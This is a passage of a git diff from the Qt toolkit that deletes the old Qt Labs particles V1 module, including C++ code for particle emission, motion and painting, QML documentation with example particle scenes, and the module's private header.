if (_yvariance != 0.) { - qreal ydiff = p.y_velocity - d->y_targetV; - if ((ydiff > d->y_peak && d->y_var > 0.0) || (ydiff < -d->y_peak && d->y_var < 0.0)) { - d->y_var = -d->y_var; - d->y_peak = _yvariance + _yvariance * qreal(qrand()) / RAND_MAX; - } - p.y_velocity += d->y_var * interval; - } - p.y += interval * p.y_velocity; - } -} - -void QDeclarativeParticleMotionWander::created(QDeclarativeParticle &p) -{ - if (!p.data) { - Data *d = new Data; - p.data = (void*)d; - d->x_targetV = p.x_velocity; - d->y_targetV = p.y_velocity; - d->x_peak = _xvariance; - d->y_peak = _yvariance; - d->x_var = _pace * qreal(qrand()) / RAND_MAX / 1000.0; - d->y_var = _pace * qreal(qrand()) / RAND_MAX / 1000.0; - } -} - -void QDeclarativeParticleMotionWander::destroy(QDeclarativeParticle &p) -{ - if (p.data) - delete (Data*)p.data; -} - -void QDeclarativeParticleMotionWander::setXVariance(qreal var) -{ - qreal scaledVar = var / 1000.0; - if (qFuzzyCompare(scaledVar, _xvariance)) - return; - _xvariance = scaledVar; - emit xvarianceChanged(); -} - -void QDeclarativeParticleMotionWander::setYVariance(qreal var) -{ - qreal scaledVar = var / 1000.0; - if (qFuzzyCompare(scaledVar, _yvariance)) - return; - _yvariance = scaledVar; - emit yvarianceChanged(); -} - -void QDeclarativeParticleMotionWander::setPace(qreal pace) -{ - qreal scaledPace = pace / 1000.0; - if (qFuzzyCompare(scaledPace, _pace)) - return; - _pace = scaledPace; - emit paceChanged(); -} - -//--------------------------------------------------------------------------- -class QDeclarativeParticlesPainter : public QDeclarativeItem -{ -public: - QDeclarativeParticlesPainter(QDeclarativeParticlesPrivate *p, QDeclarativeItem* parent) - : QDeclarativeItem(parent), d(p) - { - setFlag(QGraphicsItem::ItemHasNoContents, false); - maxX = minX = maxY = minY = 0; - } - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - - void updateSize(); - - qreal maxX; - qreal minX; - qreal maxY; - qreal minY; - QDeclarativeParticlesPrivate* d; -}; - -//an animation that just gives a tick -template -class TickAnimationProxy : public QAbstractAnimation -{ -public: - TickAnimationProxy(T *p, QObject *parent = 0) : QAbstractAnimation(parent), m_p(p) {} - virtual int duration() const { return -1; } -protected: - virtual void updateCurrentTime(int msec) { (m_p->*method)(msec); } - -private: - T *m_p; -}; - -//--------------------------------------------------------------------------- -class QDeclarativeParticlesPrivate : public QDeclarativeItemPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeParticles) -public: - QDeclarativeParticlesPrivate() - : count(1), emissionRate(-1), emissionVariance(0.5), lifeSpan(1000) - , lifeSpanDev(1000), fadeInDur(200), fadeOutDur(300) - , angle(0), angleDev(0), velocity(0), velocityDev(0), emissionCarry(0.) - , addParticleTime(0), addParticleCount(0), lastAdvTime(0) - , motion(0), clock(this) - { - } - - ~QDeclarativeParticlesPrivate() - { - } - - void init() - { - Q_Q(QDeclarativeParticles); - paintItem = new QDeclarativeParticlesPainter(this, q); - } - - void tick(int time); - void createParticle(int time); - void updateOpacity(QDeclarativeParticle &p, int age); - - QUrl url; - QDeclarative1Pixmap image; - int count; - int emissionRate; - qreal emissionVariance; - int lifeSpan; - int lifeSpanDev; - int fadeInDur; - int fadeOutDur; - qreal angle; - qreal angleDev; - qreal velocity; - qreal velocityDev; - qreal emissionCarry; - int addParticleTime; - int addParticleCount; - int lastAdvTime; - QDeclarativeParticleMotion *motion; - QDeclarativeParticlesPainter *paintItem; - - - QList > bursts;//countLeft, emissionRate pairs - QList particles; - TickAnimationProxy clock; - -}; - -void QDeclarativeParticlesPrivate::tick(int time) -{ - Q_Q(QDeclarativeParticles); - if (!motion) - motion = new QDeclarativeParticleMotionLinear(q); - - int oldCount = particles.count(); - int removed = 0; - int interval = time - lastAdvTime; - for (int i = 0; i < particles.count(); ) { - QDeclarativeParticle &particle = particles[i]; - int age = time - particle.birthTime; - if (age >= particle.lifeSpan) { - QDeclarativeParticle part = particles.takeAt(i); - motion->destroy(part); - ++removed; - } else { - updateOpacity(particle, age); - motion->advance(particle, interval); - ++i; - } - } - - if(emissionRate == -1)//Otherwise leave emission to the emission rate - while(removed-- && ((count == -1) || particles.count() < count)) - createParticle(time); - - if (!addParticleTime) - addParticleTime = time; - - //Possibly emit new particles - if (((count == -1) || particles.count() < count) && emissionRate - && !(count==-1 && emissionRate==-1)) { - int emissionCount = -1; - if (emissionRate != -1){ - qreal variance = 1.; - if (emissionVariance > 0.){ - variance += (qreal(qrand())/RAND_MAX) * emissionVariance * (qrand()%2?-1.:1.); - } - qreal emission = emissionRate * (qreal(interval)/1000.); - emission = emission * variance + emissionCarry; - double tmpDbl; - emissionCarry = modf(emission, &tmpDbl); - emissionCount = (int)tmpDbl; - emissionCount = qMax(0,emissionCount); - } - while(((count == -1) || particles.count() < count) && - (emissionRate==-1 || emissionCount--)) - createParticle(time); - } - - //Deal with emissions from requested bursts - for(int i=0; i 0.){ - variance += (qreal(qrand())/RAND_MAX) * emissionVariance * (qrand()%2?-1.:1.); - } - qreal workingEmission = bursts[i].second * (qreal(interval)/1000.); - workingEmission *= variance; - emission = (int)workingEmission; - emission = qMax(emission, 0); - } - emission = qMin(emission, bursts[i].first); - bursts[i].first -= emission; - while(emission--) - createParticle(time); - } - for(int i=bursts.size()-1; i>=0; i--) - if(bursts[i].first <= 0) - bursts.removeAt(i); - - lastAdvTime = time; - paintItem->updateSize(); - paintItem->update(); - if (!(oldCount || particles.count()) && (!count || !emissionRate) && bursts.isEmpty()) { - lastAdvTime = 0; - clock.stop(); - } -} - -void QDeclarativeParticlesPrivate::createParticle(int time) -{ - Q_Q(QDeclarativeParticles); - QDeclarativeParticle p(time); - p.x = q->x() + q->width() * qreal(qrand()) / RAND_MAX - image.width()/2.0; - p.y = q->y() + q->height() * qreal(qrand()) / RAND_MAX - image.height()/2.0; - p.lifeSpan = lifeSpan; - if (lifeSpanDev) - p.lifeSpan += int(lifeSpanDev/2 - lifeSpanDev * qreal(qrand()) / RAND_MAX); - p.fadeOutAge = p.lifeSpan - fadeOutDur; - if (fadeInDur == 0.) { - p.state= QDeclarativeParticle::Solid; - p.opacity = 1.0; - } - qreal a = angle; - if (angleDev) - a += angleDev/2 - angleDev * qreal(qrand()) / RAND_MAX; - if (a > M_PI) - a = a - 2 * M_PI; - qreal v = velocity; - if (velocityDev) - v += velocityDev/2 - velocityDev * qreal(qrand()) / RAND_MAX; - p.x_velocity = v * fastCos(a); - p.y_velocity = v * fastSin(a); - particles.append(p); - motion->created(particles.last()); -} - -void QDeclarativeParticlesPrivate::updateOpacity(QDeclarativeParticle &p, int age) -{ - switch (p.state) { - case QDeclarativeParticle::FadeIn: - if (age <= fadeInDur) { - p.opacity = qreal(age) / fadeInDur; - break; - } else { - p.opacity = 1.0; - p.state = QDeclarativeParticle::Solid; - // Fall through - } - case QDeclarativeParticle::Solid: - if (age <= p.fadeOutAge) { - break; - } else { - p.state = QDeclarativeParticle::FadeOut; - // Fall through - } - case QDeclarativeParticle::FadeOut: - p.opacity = qreal(p.lifeSpan - age) / fadeOutDur; - break; - } -} - -/*! - \qmlclass Particles QDeclarativeParticles - \ingroup qml-particle-elements - \since 4.7 - \brief The Particles object generates and moves particles. - \inherits Item - - Particles are available in the \bold{Qt.labs.particles 1.0} module. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} - - This element provides preliminary support for particles in QML, - and may be heavily changed or removed in later versions. - - The particles created by this object cannot be dealt with - directly, they can only be controlled through the parameters of - the Particles object. The particles are all the same pixmap, - specified by the user. - - The particles are painted relative to the parent of the Particles - object. Moving the Particles object will not move the particles - already emitted. - - The below example creates two differently behaving particle - sources. The top one has particles falling from the top like - snow, the lower one has particles expelled up like a fountain. - - \qml -import QtQuick 1.0 -import Qt.labs.particles 1.0 - -Rectangle { - width: 240 - height: 320 - color: "black" - Particles { - y: 0 - width: parent.width - height: 30 - source: "star.png" - lifeSpan: 5000 - count: 50 - angle: 70 - angleDeviation: 36 - velocity: 30 - velocityDeviation: 10 - ParticleMotionWander { - xvariance: 30 - pace: 100 - } - } - Particles { - y: 300 - x: 120 - width: 1 - height: 1 - source: "star.png" - lifeSpan: 5000 - count: 200 - angle: 270 - angleDeviation: 45 - velocity: 50 - velocityDeviation: 30 - ParticleMotionGravity { - yattractor: 1000 - xattractor: 0 - acceleration: 25 - } - } -} - \endqml - \image particles.gif -*/ - -QDeclarativeParticles::QDeclarativeParticles(QDeclarativeItem *parent) - : QDeclarativeItem(*(new QDeclarativeParticlesPrivate), parent) -{ - Q_D(QDeclarativeParticles); - d->init(); -} - -QDeclarativeParticles::~QDeclarativeParticles() -{ -} - -/*! - \qmlproperty string Particles::source - This property holds the URL of the particle image. -*/ - -/*! - \property QDeclarativeParticles::source - \brief the URL of the particle image. -*/ -QUrl QDeclarativeParticles::source() const -{ - Q_D(const QDeclarativeParticles); - return d->url; -} - -void QDeclarativeParticles::imageLoaded() -{ - Q_D(QDeclarativeParticles); - if (d->image.isError()) - qmlInfo(this) << d->image.error(); - d->paintItem->updateSize(); - d->paintItem->update(); -} - -void QDeclarativeParticles::setSource(const QUrl &name) -{ - Q_D(QDeclarativeParticles); - - if ((d->url.isEmpty() == name.isEmpty()) && name == d->url) - return; - - if (name.isEmpty()) { - d->url = name; - d->image.clear(this); - d->paintItem->updateSize(); - d->paintItem->update(); - } else { - d->url = name; - Q_ASSERT(!name.isRelative()); - d->image.load(qmlEngine(this), d->url); - if (d->image.isLoading()) { - d->image.connectFinished(this, SLOT(imageLoaded())); - } else { - if (d->image.isError()) - qmlInfo(this) << d->image.error(); - //### unify with imageLoaded - d->paintItem->updateSize(); - d->paintItem->update(); - } - } - emit sourceChanged(); -} - -/*! - \qmlproperty int Particles::count - This property holds the maximum number of particles - - The particles element emits particles until it has count active - particles. When this number is reached, new particles are not emitted until - some of the current particles reach the end of their lifespan. - - If count is -1 then there is no maximum number of active particles, and - particles will be constantly emitted at the rate specified by emissionRate. - - The default value for count is 1. - - If both count and emissionRate are set to -1, nothing will be emitted. - -*/ - -/*! - \property QDeclarativeParticles::count - \brief the maximum number of particles -*/ -int QDeclarativeParticles::count() const -{ - Q_D(const QDeclarativeParticles); - return d->count; -} - -void QDeclarativeParticles::setCount(int cnt) -{ - Q_D(QDeclarativeParticles); - if (cnt == d->count) - return; - - int oldCount = d->count; - d->count = cnt; - d->addParticleTime = 0; - d->addParticleCount = d->particles.count(); - if (!oldCount && d->clock.state() != QAbstractAnimation::Running && d->count && d->emissionRate) { - d->clock.start(); - } - d->paintItem->updateSize(); - d->paintItem->update(); - emit countChanged(); -} - - -/*! - \qmlproperty int Particles::emissionRate - This property holds the target number of particles to emit every second. - - The particles element will emit up to emissionRate particles every - second. Fewer particles may be emitted per second if the maximum number of - particles has been reached. - - If emissionRate is set to -1 there is no limit to the number of - particles emitted per second, and particles will be instantly emitted to - reach the maximum number of particles specified by count. - - The default value for emissionRate is -1. - - If both count and emissionRate are set to -1, nothing will be emitted. -*/ - -/*! - \property QDeclarativeParticles::emissionRate - \brief the emission rate of particles -*/ -int QDeclarativeParticles::emissionRate() const -{ - Q_D(const QDeclarativeParticles); - return d->emissionRate; -} -void QDeclarativeParticles::setEmissionRate(int er) -{ - Q_D(QDeclarativeParticles); - if(er == d->emissionRate) - return; - d->emissionRate = er; - if (d->clock.state() != QAbstractAnimation::Running && d->count && d->emissionRate) { - d->clock.start(); - } - emit emissionRateChanged(); -} - -/*! - \qmlproperty real Particles::emissionVariance - This property holds how inconsistent the rate of particle emissions are. - It is a number between 0 (no variance) and 1 (some variance). - - The expected number of particles emitted per second is emissionRate. If - emissionVariance is 0 then particles will be emitted consistently throughout - each second to reach that number. If emissionVariance is greater than 0 the - rate of particle emission will vary randomly throughout the second, with the - consequence that the actual number of particles emitted in one second will - vary randomly as well. - - emissionVariance is the maximum deviation from emitting - emissionRate particles per second. An emissionVariance of 0 means you should - get exactly emissionRate particles emitted per second, - and an emissionVariance of 1 means you will get between zero and two times - emissionRate particles per second, but you should get emissionRate particles - per second on average. - - Note that even with an emissionVariance of 0 there may be some variance due - to performance and hardware constraints. - - The default value of emissionVariance is 0.5 -*/ - -/*! - \property QDeclarativeParticles::emissionVariance - \brief how much the particle emission amounts vary per tick -*/ - -qreal QDeclarativeParticles::emissionVariance() const -{ - Q_D(const QDeclarativeParticles); - return d->emissionVariance; -} - -void QDeclarativeParticles::setEmissionVariance(qreal ev) -{ - Q_D(QDeclarativeParticles); - if(d->emissionVariance == ev) - return; - d->emissionVariance = ev; - emit emissionVarianceChanged(); -} - -/*! - \qmlproperty int Particles::lifeSpan - \qmlproperty int Particles::lifeSpanDeviation - - These properties describe the life span of each particle. - - The default lifespan for a particle is 1000ms. - - lifeSpanDeviation randomly varies the lifeSpan up to the specified variation. For - example, the following creates particles whose lifeSpan will vary - from 150ms to 250ms: - - \qml -Particles { - source: "star.png" - lifeSpan: 200 - lifeSpanDeviation: 100 -} - \endqml -*/ - -/*! - \property QDeclarativeParticles::lifeSpan - \brief the life span of each particle. - - Default value is 1000ms. - - \sa QDeclarativeParticles::lifeSpanDeviation -*/ -int QDeclarativeParticles::lifeSpan() const -{ - Q_D(const QDeclarativeParticles); - return d->lifeSpan; -} - -void QDeclarativeParticles::setLifeSpan(int ls) -{ - Q_D(QDeclarativeParticles); - if(d->lifeSpan == ls) - return; - d->lifeSpan = ls; - emit lifeSpanChanged(); -} - -/*! - \property QDeclarativeParticles::lifeSpanDeviation - \brief the maximum possible deviation from the set lifeSpan. - - Randomly varies the lifeSpan up to the specified variation. For - example, the following creates particles whose lifeSpan will vary - from 150ms to 250ms: - -\qml -Particles { - source: "star.png" - lifeSpan: 200 - lifeSpanDeviation: 100 -} -\endqml - - \sa QDeclarativeParticles::lifeSpan -*/ -int QDeclarativeParticles::lifeSpanDeviation() const -{ - Q_D(const QDeclarativeParticles); - return d->lifeSpanDev; -} - -void QDeclarativeParticles::setLifeSpanDeviation(int dev) -{ - Q_D(QDeclarativeParticles); - if(d->lifeSpanDev == dev) - return; - d->lifeSpanDev = dev; - emit lifeSpanDeviationChanged(); -} - -/*! - \qmlproperty int Particles::fadeInDuration - \qmlproperty int Particles::fadeOutDuration - These properties hold the time taken to fade the particles in and out. - - By default fade in is 200ms and fade out is 300ms. -*/ - -/*! - \property QDeclarativeParticles::fadeInDuration - \brief the time taken to fade in the particles. - - Default value is 200ms. -*/ -int QDeclarativeParticles::fadeInDuration() const -{ - Q_D(const QDeclarativeParticles); - return d->fadeInDur; -} - -void QDeclarativeParticles::setFadeInDuration(int dur) -{ - Q_D(QDeclarativeParticles); - if (dur < 0.0 || dur == d->fadeInDur) - return; - d->fadeInDur = dur; - emit fadeInDurationChanged(); -} - -/*! - \property QDeclarativeParticles::fadeOutDuration - \brief the time taken to fade out the particles. - - Default value is 300ms. -*/ -int QDeclarativeParticles::fadeOutDuration() const -{ - Q_D(const QDeclarativeParticles); - return d->fadeOutDur; -} - -void QDeclarativeParticles::setFadeOutDuration(int dur) -{ - Q_D(QDeclarativeParticles); - if (dur < 0.0 || d->fadeOutDur == dur) - return; - d->fadeOutDur = dur; - emit fadeOutDurationChanged(); -} - -/*! - \qmlproperty real Particles::angle - \qmlproperty real Particles::angleDeviation - - These properties control particle direction. - - angleDeviation randomly varies the direction up to the specified variation. For - example, the following creates particles whose initial direction will - vary from 15 degrees to 105 degrees: - - \qml -Particles { - source: "star.png" - angle: 60 - angleDeviation: 90 -} - \endqml -*/ - -/*! - \property QDeclarativeParticles::angle - \brief the initial angle of direction. - - \sa QDeclarativeParticles::angleDeviation -*/ -qreal QDeclarativeParticles::angle() const -{ - Q_D(const QDeclarativeParticles); - return d->angle * 180.0 / M_PI; -} - -void QDeclarativeParticles::setAngle(qreal angle) -{ - Q_D(QDeclarativeParticles); - qreal radAngle = angle * M_PI / 180.0; - if(radAngle == d->angle) - return; - d->angle = radAngle; - emit angleChanged(); -} - -/*! - \property QDeclarativeParticles::angleDeviation - \brief the maximum possible deviation from the set angle. - - Randomly varies the direction up to the specified variation. For - example, the following creates particles whose initial direction will - vary from 15 degrees to 105 degrees: - -\qml -Particles { - source: "star.png" - angle: 60 - angleDeviation: 90 -} -\endqml - - \sa QDeclarativeParticles::angle -*/ -qreal QDeclarativeParticles::angleDeviation() const -{ - Q_D(const QDeclarativeParticles); - return d->angleDev * 180.0 / M_PI; -} - -void QDeclarativeParticles::setAngleDeviation(qreal dev) -{ - Q_D(QDeclarativeParticles); - qreal radDev = dev * M_PI / 180.0; - if(radDev == d->angleDev) - return; - d->angleDev = radDev; - emit angleDeviationChanged(); -} - -/*! - \qmlproperty real Particles::velocity - \qmlproperty real Particles::velocityDeviation - - These properties control the velocity of the particles. - - velocityDeviation randomly varies the velocity up to the specified variation. For - example, the following creates particles whose initial velocity will - vary from 40 to 60. - - \qml -Particles { - source: "star.png" - velocity: 50 - velocityDeviation: 20 -} - \endqml -*/ - -/*! - \property QDeclarativeParticles::velocity - \brief the initial velocity of the particles. - - \sa QDeclarativeParticles::velocityDeviation -*/ -qreal QDeclarativeParticles::velocity() const -{ - Q_D(const QDeclarativeParticles); - return d->velocity * 1000.0; -} - -void QDeclarativeParticles::setVelocity(qreal velocity) -{ - Q_D(QDeclarativeParticles); - qreal realVel = velocity / 1000.0; - if(realVel == d->velocity) - return; - d->velocity = realVel; - emit velocityChanged(); -} - -/*! - \property QDeclarativeParticles::velocityDeviation - \brief the maximum possible deviation from the set velocity. - - Randomly varies the velocity up to the specified variation. For - example, the following creates particles whose initial velocity will - vary from 40 to 60. - -\qml -Particles { - source: "star.png" - velocity: 50 - velocityDeviation: 20 -} -\endqml - - \sa QDeclarativeParticles::velocity -*/ -qreal QDeclarativeParticles::velocityDeviation() const -{ - Q_D(const QDeclarativeParticles); - return d->velocityDev * 1000.0; -} - -void QDeclarativeParticles::setVelocityDeviation(qreal velocity) -{ - Q_D(QDeclarativeParticles); - qreal realDev = velocity / 1000.0; - if(realDev == d->velocityDev) - return; - d->velocityDev = realDev; - emit velocityDeviationChanged(); -} - -/*! - \qmlproperty ParticleMotion Particles::motion - This property sets the type of motion to apply to the particles. - - When a particle is created it will have an initial direction and velocity. - The motion of the particle during its lifeSpan is then influenced by the - motion property. - - Default motion is ParticleMotionLinear. -*/ - -/*! - \property QDeclarativeParticles::motion - \brief sets the type of motion to apply to the particles. - - When a particle is created it will have an initial direction and velocity. - The motion of the particle during its lifeSpan is then influenced by the - motion property. - - Default motion is QDeclarativeParticleMotionLinear. -*/ -QDeclarativeParticleMotion *QDeclarativeParticles::motion() const -{ - Q_D(const QDeclarativeParticles); - return d->motion; -} - -void QDeclarativeParticles::setMotion(QDeclarativeParticleMotion *motion) -{ - Q_D(QDeclarativeParticles); - if (motion == d->motion) - return; - d->motion = motion; - emit motionChanged(); -} - -/*! - \qmlmethod Particles::burst(int count, int emissionRate) - - Initiates a burst of particles. - - This method takes two arguments. The first argument is the number - of particles to emit and the second argument is the emissionRate for the - burst. If the second argument is omitted, it is treated as -1. The burst - of particles has a separate emissionRate and count to the normal emission of - particles. The burst uses the same values as normal emission for all other - properties, including emissionVariance. - - The normal emission of particles will continue during the burst, however - the particles created by the burst count towards the maximum number used by - normal emission. To avoid this behavior, use two Particles elements. - -*/ -void QDeclarativeParticles::burst(int count, int emissionRate) -{ - Q_D(QDeclarativeParticles); - d->bursts << qMakePair(count, emissionRate); - if (d->clock.state() != QAbstractAnimation::Running) - d->clock.start(); -} - -void QDeclarativeParticlesPainter::updateSize() -{ - if (!d->componentComplete) - return; - - const int parentX = parentItem()->x(); - const int parentY = parentItem()->y(); - for (int i = 0; i < d->particles.count(); ++i) { - const QDeclarativeParticle &particle = d->particles.at(i); - if(particle.x > maxX) - maxX = particle.x; - if(particle.x < minX) - minX = particle.x; - if(particle.y > maxY) - maxY = particle.y; - if(particle.y < minY) - minY = particle.y; - } - - int myWidth = (int)(maxX-minX+0.5)+d->image.width(); - int myX = (int)(minX - parentX); - int myHeight = (int)(maxY-minY+0.5)+d->image.height(); - int myY = (int)(minY - parentY); - setWidth(myWidth); - setHeight(myHeight); - setX(myX); - setY(myY); -} - -void QDeclarativeParticles::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - Q_UNUSED(p); - //painting is done by the ParticlesPainter, so it can have the right size -} - -void QDeclarativeParticlesPainter::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *) -{ - if (d->image.isNull() || d->particles.isEmpty()) - return; - - const int myX = x() + parentItem()->x(); - const int myY = y() + parentItem()->y(); - - QVarLengthArray pixmapData; - pixmapData.resize(d->particles.count()); - - const QRectF sourceRect = d->image.rect(); - qreal halfPWidth = sourceRect.width()/2.; - qreal halfPHeight = sourceRect.height()/2.; - for (int i = 0; i < d->particles.count(); ++i) { - const QDeclarativeParticle &particle = d->particles.at(i); - pixmapData[i].x = particle.x - myX + halfPWidth; - pixmapData[i].y = particle.y - myY + halfPHeight; - pixmapData[i].opacity = particle.opacity; - - //these never change - pixmapData[i].rotation = 0; - pixmapData[i].scaleX = 1; - pixmapData[i].scaleY = 1; - pixmapData[i].sourceLeft = sourceRect.left(); - pixmapData[i].sourceTop = sourceRect.top(); - pixmapData[i].width = sourceRect.width(); - pixmapData[i].height = sourceRect.height(); - } - p->drawPixmapFragments(pixmapData.data(), d->particles.count(), d->image); -} - -void QDeclarativeParticles::componentComplete() -{ - Q_D(QDeclarativeParticles); - QDeclarativeItem::componentComplete(); - if (d->count && d->emissionRate) { - d->paintItem->updateSize(); - d->clock.start(); - } - if (d->lifeSpanDev > d->lifeSpan) - d->lifeSpanDev = d->lifeSpan; -} - -QT_END_NAMESPACE diff --git a/src/imports/particles/V1/qdeclarativeparticles_p.h b/src/imports/particles/V1/qdeclarativeparticles_p.h deleted file mode 100644 index c2d076cb3e..0000000000 --- a/src/imports/particles/V1/qdeclarativeparticles_p.h +++ /dev/null @@ -1,257 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPARTICLES_H -#define QDECLARATIVEPARTICLES_H - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarativeParticle; -class QDeclarativeParticles; -class QDeclarativeParticleMotion : public QObject -{ - Q_OBJECT -public: - QDeclarativeParticleMotion(QObject *parent=0); - - virtual void advance(QDeclarativeParticle &, int interval); - virtual void created(QDeclarativeParticle &); - virtual void destroy(QDeclarativeParticle &); -}; - -class QDeclarativeParticleMotionLinear : public QDeclarativeParticleMotion -{ - Q_OBJECT -public: - QDeclarativeParticleMotionLinear(QObject *parent=0) - : QDeclarativeParticleMotion(parent) {} - - virtual void advance(QDeclarativeParticle &, int interval); -}; - -class QDeclarativeParticleMotionGravity : public QDeclarativeParticleMotion -{ - Q_OBJECT - - Q_PROPERTY(qreal xattractor READ xAttractor WRITE setXAttractor NOTIFY xattractorChanged) - Q_PROPERTY(qreal yattractor READ yAttractor WRITE setYAttractor NOTIFY yattractorChanged) - Q_PROPERTY(qreal acceleration READ acceleration WRITE setAcceleration NOTIFY accelerationChanged) -public: - QDeclarativeParticleMotionGravity(QObject *parent=0) - : QDeclarativeParticleMotion(parent), _xAttr(0.0), _yAttr(0.0), _accel(0.00005) {} - - qreal xAttractor() const { return _xAttr; } - void setXAttractor(qreal x); - - qreal yAttractor() const { return _yAttr; } - void setYAttractor(qreal y); - - qreal acceleration() const { return _accel * 1000000; } - void setAcceleration(qreal accel); - - virtual void advance(QDeclarativeParticle &, int interval); - -Q_SIGNALS: - void xattractorChanged(); - void yattractorChanged(); - void accelerationChanged(); - -private: - qreal _xAttr; - qreal _yAttr; - qreal _accel; -}; - -class QDeclarativeParticleMotionWander : public QDeclarativeParticleMotion -{ - Q_OBJECT -public: - QDeclarativeParticleMotionWander() - : QDeclarativeParticleMotion(), particles(0), _xvariance(0), _yvariance(0), _pace(100) {} - - virtual void advance(QDeclarativeParticle &, int interval); - virtual void created(QDeclarativeParticle &); - virtual void destroy(QDeclarativeParticle &); - - struct Data { - qreal x_targetV; - qreal y_targetV; - qreal x_peak; - qreal y_peak; - qreal x_var; - qreal y_var; - }; - - Q_PROPERTY(qreal xvariance READ xVariance WRITE setXVariance NOTIFY xvarianceChanged) - qreal xVariance() const { return _xvariance * 1000.0; } - void setXVariance(qreal var); - - Q_PROPERTY(qreal yvariance READ yVariance WRITE setYVariance NOTIFY yvarianceChanged) - qreal yVariance() const { return _yvariance * 1000.0; } - void setYVariance(qreal var); - - Q_PROPERTY(qreal pace READ pace WRITE setPace NOTIFY paceChanged) - qreal pace() const { return _pace * 1000.0; } - void setPace(qreal pace); - -Q_SIGNALS: - void xvarianceChanged(); - void yvarianceChanged(); - void paceChanged(); - -private: - QDeclarativeParticles *particles; - qreal _xvariance; - qreal _yvariance; - qreal _pace; -}; - -class QDeclarativeParticlesPrivate; -class QDeclarativeParticles : public QDeclarativeItem -{ - Q_OBJECT - - Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(int count READ count WRITE setCount NOTIFY countChanged) - Q_PROPERTY(int emissionRate READ emissionRate WRITE setEmissionRate NOTIFY emissionRateChanged) - Q_PROPERTY(qreal emissionVariance READ emissionVariance WRITE setEmissionVariance NOTIFY emissionVarianceChanged) - Q_PROPERTY(int lifeSpan READ lifeSpan WRITE setLifeSpan NOTIFY lifeSpanChanged) - Q_PROPERTY(int lifeSpanDeviation READ lifeSpanDeviation WRITE setLifeSpanDeviation NOTIFY lifeSpanDeviationChanged) - Q_PROPERTY(int fadeInDuration READ fadeInDuration WRITE setFadeInDuration NOTIFY fadeInDurationChanged) - Q_PROPERTY(int fadeOutDuration READ fadeOutDuration WRITE setFadeOutDuration NOTIFY fadeOutDurationChanged) - Q_PROPERTY(qreal angle READ angle WRITE setAngle NOTIFY angleChanged) - Q_PROPERTY(qreal angleDeviation READ angleDeviation WRITE setAngleDeviation NOTIFY angleDeviationChanged) - Q_PROPERTY(qreal velocity READ velocity WRITE setVelocity NOTIFY velocityChanged) - Q_PROPERTY(qreal velocityDeviation READ velocityDeviation WRITE setVelocityDeviation NOTIFY velocityDeviationChanged) - Q_PROPERTY(QDeclarativeParticleMotion *motion READ motion WRITE setMotion NOTIFY motionChanged) - Q_CLASSINFO("DefaultProperty", "motion") - -public: - QDeclarativeParticles(QDeclarativeItem *parent=0); - ~QDeclarativeParticles(); - - QUrl source() const; - void setSource(const QUrl &); - - int count() const; - void setCount(int cnt); - - int emissionRate() const; - void setEmissionRate(int); - - qreal emissionVariance() const; - void setEmissionVariance(qreal); - - int lifeSpan() const; - void setLifeSpan(int); - - int lifeSpanDeviation() const; - void setLifeSpanDeviation(int); - - int fadeInDuration() const; - void setFadeInDuration(int); - - int fadeOutDuration() const; - void setFadeOutDuration(int); - - qreal angle() const; - void setAngle(qreal); - - qreal angleDeviation() const; - void setAngleDeviation(qreal); - - qreal velocity() const; - void setVelocity(qreal); - - qreal velocityDeviation() const; - void setVelocityDeviation(qreal); - - QDeclarativeParticleMotion *motion() const; - void setMotion(QDeclarativeParticleMotion *); - - void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); - -public Q_SLOTS: - void burst(int count, int emissionRate=-1); - -protected: - virtual void componentComplete(); - -Q_SIGNALS: - void sourceChanged(); - void countChanged(); - void emissionRateChanged(); - void emissionVarianceChanged(); - void lifeSpanChanged(); - void lifeSpanDeviationChanged(); - void fadeInDurationChanged(); - void fadeOutDurationChanged(); - void angleChanged(); - void angleDeviationChanged(); - void velocityChanged(); - void velocityDeviationChanged(); - void emittingChanged(); - void motionChanged(); - -private Q_SLOTS: - void imageLoaded(); - -private: - Q_DISABLE_COPY(QDeclarativeParticles) - Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeParticles) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarativeParticleMotion) -QML_DECLARE_TYPE(QDeclarativeParticleMotionLinear) -QML_DECLARE_TYPE(QDeclarativeParticleMotionGravity) -QML_DECLARE_TYPE(QDeclarativeParticleMotionWander) -QML_DECLARE_TYPE(QDeclarativeParticles) - -QT_END_HEADER - -#endif diff --git a/src/imports/particles/particles.cpp b/src/imports/particles/particles.cpp deleted file mode 100644 index b6db7fb943..0000000000 --- a/src/imports/particles/particles.cpp +++ /dev/null @@ -1,69 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the plugins of the Qt Toolkit. -** -** 